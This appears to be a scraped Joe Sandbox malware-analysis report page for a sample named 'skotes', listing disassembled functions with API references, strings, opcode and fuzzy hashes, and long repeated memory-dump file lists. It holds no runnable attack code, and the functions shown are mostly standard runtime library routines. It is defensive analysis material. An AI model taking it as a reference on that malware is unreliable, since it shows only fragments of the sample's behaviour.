Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: f399dd150411e7c2a69c341a92deb40c346f9d40a46a29441478d6da13141940
Instruction ID: 7fa1fc27c95e19c3b62a45a32371ec4264dc0fb94276643085d954e404e2b2ef
Opcode Fuzzy Hash: f399dd150411e7c2a69c341a92deb40c346f9d40a46a29441478d6da13141940
Instruction Fuzzy Hash: A5C19B71C00689EFCF15DFA6C8809AFBBB5BF1431AF10455BE8056B206C778DA51CBA9

Function 004E4840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 004E4877
___except_validate_context_record.LIBVCRUNTIME ref: 004E487F
_ValidateLocalCookies.LIBCMT ref: 004E4908
__IsNonwritableInCurrentImage.LIBCMT ref: 004E4933
_ValidateLocalCookies.LIBCMT ref: 004E4988

Strings

S9N, xrefs: 004E4925, 004E492E, 004E493F
csm, xrefs: 004E491D

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S9N$csm
API String ID: 1170836740-3115568138
Opcode ID: 0e3202504ad9467999a93a7f91dbdf9eeb5225010b32aeee638adbed6f9c12b4
Instruction ID: abd462cd5f3806752b51f1f7c27c0dca58cdf322f3453fef01f49d9dfcc03ee2
Opcode Fuzzy Hash: 0e3202504ad9467999a93a7f91dbdf9eeb5225010b32aeee638adbed6f9c12b4
Instruction Fuzzy Hash: EE410834E002889BCF10DF2BD844A9F7BB5BF85319F14815AE8146B392C739DE15CB95

Function 004D7364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 004D73B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 004D73F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 004D740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 004D7419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 004D7440

Strings

ppVirtualProcessorRoots, xrefs: 004D7438
count, xrefs: 004D737E

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: 0d26eccbc591ffe7e3c65178141371fc18d5fce4210b82001a699e3c8f272cdb
Instruction ID: a014a844378a0aef5b7028d46765272537abe2abe669832f86b300873c336337
Opcode Fuzzy Hash: 0d26eccbc591ffe7e3c65178141371fc18d5fce4210b82001a699e3c8f272cdb
Instruction Fuzzy Hash: 1A216134A00219AFCB10EF55C5A5AAEBBB5BF09354F14406FE80597391DB38AE04DF58

Function 004CEE5F Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 004CEEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 004CEEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 004CEEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 004CEF0F
Concurrency::Context::Block.LIBCONCRT ref: 004CEF31

Strings

iL, xrefs: 004CEED0

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID: iL
API String ID: 1182035702-1008719660
Opcode ID: c0e475f544584ddd26fa83cb5655c65fe9d3acc10fbc8ec7510e27835a096bf5
Instruction ID: b65c35a431855077efdf8afa4e307b466423de6d1a7529d21800b1da48fdf129
Opcode Fuzzy Hash: c0e475f544584ddd26fa83cb5655c65fe9d3acc10fbc8ec7510e27835a096bf5
Instruction Fuzzy Hash: A6218078C102099ADFA4DFA6C845FEEBBF0BF14324F10052FE151A62D1E7798A44CB59

Function 004D78E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 004D7903

Part of subcall function 004D5CB8: __EH_prolog3_catch.LIBCMT ref: 004D5CBF
Part of subcall function 004D5CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 004D5CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 004D792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 004D7936

Part of subcall function 004D5CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 004D5D70
Part of subcall function 004D5CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 004D5D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 004D7982
Concurrency::location::_Assign.LIBCMT ref: 004D79A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 004D79AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 004D79BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 004D79ED

Part of subcall function 004D691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 004D6942
Part of subcall function 004D691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 004D6965

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: 8934f9f4b1fa0ea9fa55037b714b3b15b6bd2e9c373ce9a50533129861aa5ffc
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 70312472B082516AEF16AA7844B27FFB7B59F41304F0401EBD485D7342FA2C4D0AC799

Function 004F4C14 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 004F4C98
__alloca_probe_16.LIBCMT ref: 004F4D5E
__freea.LIBCMT ref: 004F4DCA

Part of subcall function 004EB04B: RtlAllocateHeap.NTDLL(00000000,0667AB08,?,?,004CD3FC,0667AB08,?,004C7A8B,?,?,?,?,?,?,004B7465,?), ref: 004EB07D

__freea.LIBCMT ref: 004F4DD3
__freea.LIBCMT ref: 004F4DF6

Strings

ZN,mN, xrefs: 004F4C26

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
